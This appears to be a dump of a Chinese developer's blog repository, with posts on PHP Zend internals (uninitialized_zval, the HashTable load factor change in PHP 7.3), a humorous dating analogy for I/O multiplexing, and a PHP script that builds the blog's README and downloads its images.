返回了一个`EG(uninitialized_zval)`的指针, 这是个什么东西? 98 | 99 | 这其实就是个`type = null`的zval, 比较秀的是, 它是一个挂在`executor_globals`上的全局量, 便于随时取用作为返回值, 它被设计为只读的, 所以我们的千万不能操作它... 100 | 101 | 比如mysqli扩展中就用到了它来判断, 规避了非法的写操作: 102 | 103 | ```C 104 | if (value != &EG(uninitialized_zval)) { 105 | convert_to_boolean(value); 106 | ret = Z_TYPE_P(value) == IS_TRUE ? 1 : 0; 107 | } 108 | ``` 109 | 110 | 所以我们应该纠正为(注释是美德) 111 | 112 | ```C 113 | // NOTICE: if user unset the property, zend_read_property will return uninitialized_zval instead of NULL pointer 114 | if (unlikely(property == &EG(uninitialized_zval))) 115 | { 116 | property = zend_read_property(class_ptr, obj, s, len, silent, &rv); 117 | } 118 | ``` 119 | 120 | 这个包装是很好的, 保证了API返回的一定是一个**可读的zval**, 但是PHP底层的文档实在是太少了, 尤其是中国的开发者, 很难在网上找到任何有价值的东西, 需要一定的源码阅读能力和耐心才行, 否则经常会遇上这种非直觉的设计, 就是地狱难度的开发. 121 | 122 | 123 | 124 | > 该API起码自PHP7起就一直如此设计, 使用`git blame`来查看API变动也是良好的习惯之一, 因为ZendVM经常会有一些你意想不到的API改动... 125 | > 126 | > https://github.com/php/php-src/blob/2bf8f29d16e6875e65eaa538a9740aac31ce650a/Zend/zend_object_handlers.c -------------------------------------------------------------------------------- /_/why-not-http2.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: why-not-http2 3 | date: 2018-04-09 11:07:20 4 | tags: Http2 5 | --- 6 | 7 | # Why not HTTP2 8 | 9 | -------------------------------------------------------------------------------- /_/zend-hash-load-factor.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 有人发现PHP-7.3后内存占用变大了吗 3 | date: 2021-05-17 18:11:44 4 | tags: [zend] 5 | --- 6 | 7 | 分享会上讲到了PHP的packed array 与 hash array 对比 8 | 9 | ```php 10 | $array = []; 11 | $mem = memory_get_usage(); 12 | for ($i = 0; $i < 10000; $i++) { 13 | $array[$i] = $i; 14 | } 15 | var_dump('mem+=' . ($packed_arr_size = (memory_get_usage() - $mem))); 16 | 17 | $array = []; 18 | $mem = memory_get_usage(); 19 | for ($i = 10000; $i >= 0; $i--) { 20 | $array[$i] = $i; 21 | } 22 | var_dump('mem+=' . ($hash_arr_size = (memory_get_usage() - $mem))); 23 | 24 | var_dump((($hash_arr_size - $packed_arr_size) / 1024) . 'K'); 25 | ``` 26 | 27 | output: 28 | 29 | ``` 30 | string(11) "mem+=528480" 31 | string(11) "mem+=659552" 32 | string(4) "128K" 33 | ``` 34 | 35 | 36 | 37 | ![哈希表.jpeg](https://ae03.alicdn.com/kf/H8a1991c6f3044993ab066ef38ae4992b1.png) 38 | 39 | 如图,根据理论,压缩数组和哈希数组应该只相差一个索引列表,索引列表每个元素都是uint32, 也就是4个字节, 10000个元素, 桶的个数是2的14次方也就是16384个桶, 那么多占用的就是`((4 *16384) / 1024) = 64K` ,但实际结果是128k,在课上这里的计算翻车了,算出来是错的。 40 | 这确实有点神奇,课后源码分析了一波,发现了原因,可以说是非常的amazing…… 41 | 内核书的版本是PHP7.2,但在PHP7.3的时候,PHP内核的核心作者Dmitry在一个小小的提交中把HashTable的负载因子从1改成了0.5 (https://github.com/php/php-src/commit/34ed8e53fea63903f85326ea1d5bd91ece86b7ae)。 42 | 43 | 什么是负载因子呢,我们课上说了哈希冲突这个内容,显然,索引列表越大,哈希冲突率就越小,查找的速度相应就变快,但是与此同时占用的内存也会变多,在Java中,HashTable默认的负载因子是0.75,在时间和空间成本之间提供了很好的权衡。 44 | 45 | PHP在7.3突然改成0.5,那么索引数组的体积就变为原先的两倍,也就是128k了,我倾向于PHP在时间和空间中再次选择了时间,因此我们可以在PHP7.2升级到PHP7.3后看到可观的性能提升,但也可能会发现应用的内存占用变大了一些... 46 | 47 | ___ 48 | 49 | 后续补充(2021-12-04):这里当时没有仔细想,由于Bucket结构已经很大了,所以尽管索引结构内存占用变大了,但在从整个HashTable视角来看,内存占用增加的比例其实不大。 50 | 51 | 简单计算`sizeof(Bucket) + sizeof(uint32_t) = 4byte * 9`,现在我们多了`sizeof(uint32_t) = 4 `, 所以每个HashTable的内存占用仅增加了10%。 52 | 53 | -------------------------------------------------------------------------------- /_/zhihu-sea-king.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 多路复用一样会阻塞用户线程,那它和同步阻塞有什么区别? 3 | date: 2021-07-20 16:52:37 4 | tags: [php] 5 | --- 6 | 7 | 知乎问题:[多路复用一样会阻塞用户线程,那它和同步阻塞有什么区别? - Twosee的回答](https://www.zhihu.com/question/456131257/answer/1985606916): 8 | 9 | 有个叫[@轩辕之风](https://www.zhihu.com/people/a01b31c1866925866da206222911c20c)的答主用打电话和微信作比喻,让我觉得很有意思,所以作了这篇回答。 10 | 11 | 同步阻塞就是语音通话,一个人**同时只能处理一个会话**,对端不说话就是**读阻塞**,你说的太快对方听不过来就是**写阻塞**... 但是用短信作为多路复用的比喻让我感觉差了那么点意思,或许改成QQ微信聊天更佳,我斗胆扩写一下: 12 | 13 | 14 | 15 | 普通人: 16 | 17 | - 在和女神的单聊界面苦等(**阻塞等待**,对应阻塞的recv()等) 18 | - 工作的时候也要动不动关注女神有没有回复,陷入备胎陷阱,心思没办法维持在工作上,效率低下 (CPU时间被大量浪费在阻塞系统调用上,**频繁陷入内核态**,上下文切换开销很大) 19 | - 出现了新的恋爱机会,但是没办法同时处理,因此只能拱手让人(**一个同步阻塞进程同时只能处理一个连接**,当Master进程调度时或当其他进程也在监听同一端口时(REUSE_PORT),新的连接会被分配给其它进程) 20 | - 虽然看起来很捞,但是很专一 ,并且这也是大多数普通人的求偶方式。(虽然性能不如多路复用,但是网络编程生态很大一部分都建立在同步阻塞的编程模型之上,并且它易于理解,对于开发者**心智负担较低**) 21 | 22 | 海王: 23 | 24 | - 从不在工作的时候主动等消息,游刃有余(充分利用CPU时间,**尽量跑在用户态**上) 25 | - 有空摸鱼的时候才顺便打理鱼塘,看下手机有没有消息(CPU运算任务告一段落,检查是否有IO事件,对应**epoll_wait()**之类的调用) 26 | - 检查有多少个妹子给自己发消息了,点亮手机发现收到100个联系人的未读消息通知 (epoll_wait()返回了100,说明有100个**文件描述符就绪**) 27 | - 遍历处理,但绝不在和某个妹子的会话上单独等待,除非除了把妹之外没事可干了,否则处理完后马上就该干嘛干嘛,进入下一轮循环。(遍历处理**可读可写事件**,执行**非阻塞**IO操作,即不会长时间阻塞在某个socket上,而是进入下一轮事件循环再**统一等待**) 28 | 29 | 那么,哪怕是一个只会把妹,别的人事啥也不干的海王,它搞定100个妹子的时间也不过是`MAX(搞定妹子0的时间, 搞定妹子1的时间, 搞定妹子2的时间, ...搞定妹子99的时间)`,而普通人可能就需要 `搞定妹子0的时间 + 搞定妹子1的时间 + 搞定妹子2的时间 + 搞定妹子99的时间` ,当妹子的数量越多,搞定妹子的时间越长,海王的优势就越明显。(如本地网络IO速度极快,多路复用的性能优势就不明显,而外部网络尤其是**慢速网络环境下,多路复用技术就能体现出其巨大的性能优势**) 30 | 31 | 设计合理的高性能海王能快速祸害成百上千的妹子,而同步阻塞的普通人或许终其一生都无法达到十之一二就因为阳寿耗尽(**ETIMEDOUT**)被KILL了。 32 | 33 | 原有的车马很慢书信很远一生只够爱一个人已不能满足当代人日渐空虚的内心和永远填不满的情感需求,海王之风因而大行其道(当原有的多进程多线程+同步阻塞模式不能满足**日益增长的高并发需求**,多路复用技术因此而兴起)。 34 | 35 | ------ 36 | 37 | 脑洞又开了开,每当出现一个新来的妹子时,伺机而动的单身狗们全都被惊动,变成舔狗,但它们之中只有一个人能得逞,这就是**惊群**,频繁的惊群极大地损害了得不到妹子的舔狗们的身心,造成了感情的浪费。(惊群问题是计算机科学中,当许多进程等待一个事件,事件发生后这些进程被唤醒,但**只有一个进程能获得执行权**,其他进程又得被阻塞,这造成了**大量的系统上下文切换开销**) 38 | 39 | 而如果你是屌丝,你大概率会倒在这几步 40 | 41 | - 找不到妹子 (DNS resolution failed) 42 | - 找到心仪的妹子加微信被拒绝(Connection refused) 43 | - 加上妹子了妹子发现你是屌丝然后装死 (Connection timed out) 44 | - 加上妹子了妹子发现你是屌丝然后把你删了(Connection reset by peer) 45 | - 在你发消息的时候你发现妹子把你删了(Broken pipe) 46 | - 妹子把你拉黑了(加入防火墙黑名单) 47 | 48 | 但是我们不用气馁,海王撩妹也是有上限的,因为微信有5000个好友的上限,那么即便是最顶级的海王,也只能同时搞定5000个妹子,这就是经典的**C5K问题**(笑,这里对应了**单机能力是有上限的,不能无限扩展**。 49 | 50 | 但是坏了,写到这里我才想来,海王可以有多个手机,多个微信,这就升级到**集群**了……集群还可以解决单个微信每天加的妹子太多,被微信限制的问题,多个微信**均衡负载**,每天可以加的妹子数量又上升了... 51 | 52 | 高级别的海王意识到用一个微信很容易出岔子,发个朋友圈还得小心翼翼地设置有谁可见,那么它就会对自己的**服务**作**拆分**,工作、家庭、亲戚、朋友、鱼塘全都**解耦**,于是**分布式**海王诞生了... 53 | 54 | 注重安全的海王会和妹子用多种社交APP建立联系,防止某个约妹APP突然挂了或是被下架导致鱼塘损失,这是**多活容灾**。 55 | 56 | 找到规律的海王会形成一套把妹话术,妹子多了很难一一应付,就在把妹之前**预加载**好话术,根据妹子的类型找到话术**缓存**,降低压力。 57 | 58 | 知进退的高级海王知道有些妹子不好对付,引入了**熔断降级**机制,而普通人只知道在一棵树上吊死,感情失败黑化了,想学习海王,结果被妹子拒得心态血**(雪)崩**。 59 | 60 | 虽然跑题跑远了... 但是这还可以告诉大家,网络编程到多路复用这里只是刚刚开始,C10K后面还有C10M,现在还喜欢动不动就百万千万亿万并发的,瞎几把编到这里我也编不下去了.... 61 | 62 | -------------------------------------------------------------------------------- /gen.php: -------------------------------------------------------------------------------- 1 | $_value) { 7 | $keys[$_key] = $_value[$key]; 8 | } 9 | array_multisort($keys, SORT_DESC, $array); 10 | return $array; 11 | })($articles, 'date'); 12 | $catalog = ['| 主题 | 发布时间 |', '| ---- | ---- |']; 13 | foreach ($articles as $article) { 14 | if (preg_match_all('/\!\[([\w.]+)\]\(((?i)\b(?:(?:https?:\/\/|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()<>]+|(?:(?:[^\s()<>]+|(?:(?:[^\s()<>]+)))*))+(?:(?:(?:[^\s()<>]+|(?:(?:[^\s()<>]+)))*)|[^\s`!()[]{};:\'\".,<>?«»“”‘’])))\)/', 15 | $article['raw'], $images, PREG_SET_ORDER) > 0) { 16 | foreach ($images as $id => [$_, $imageTag, $imageUri]) { 17 | $imagePath = sprintf('images/%s-%d.%s', $article['slug'], $id, pathinfo($imageUri, PATHINFO_EXTENSION)); 18 | $imageAbsolutePath = __DIR__ . "/_/{$imagePath}"; 19 | if (!file_exists($imageAbsolutePath)) { 20 | echo "Downloading {$imageUri} to {$imagePath} in <{$article['title']}>({$article['slug']}.md)... "; 21 | if (!($imageContent = file_get_contents($imageUri, false, stream_context_create(['http' => ['timeout' => 10], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false,]])))) { 22 | echo 'Failed' . PHP_EOL; 23 | continue; 24 | } 25 | file_put_contents($imageAbsolutePath, $imageContent); 26 | if (IS_IMAGEOPTIM_AVAILABLE) { 27 | passthru("imageoptim {$imageAbsolutePath}"); 28 | } 29 | echo 'Done' . PHP_EOL; 30 | } 31 | $article['raw'] = str_replace($imageUri, $imagePath, $article['raw']); // use local image 32 | } 33 | } 34 | file_put_contents(($path = strtolower("./_/{$article['slug']}.md")), $article['raw']); 35 | $catalog[] = sprintf("| [%s](%s) | %s |", $article['title'], $path, explode('T', $article['date'])[0]); 36 | } 37 | $catalog = implode("\n", $catalog); 38 | $readme = preg_replace('/(这里是可爱的目录开始\n)([\s\S]*)(\n这里是可爱的目录结束)/', "\$1\n{$catalog}\n\$3", file_get_contents(__DIR__ . '/README.md')); 39 | file_put_contents(__DIR__ . '/README.md', $readme); 40 | --------------------------------------------------------------------------------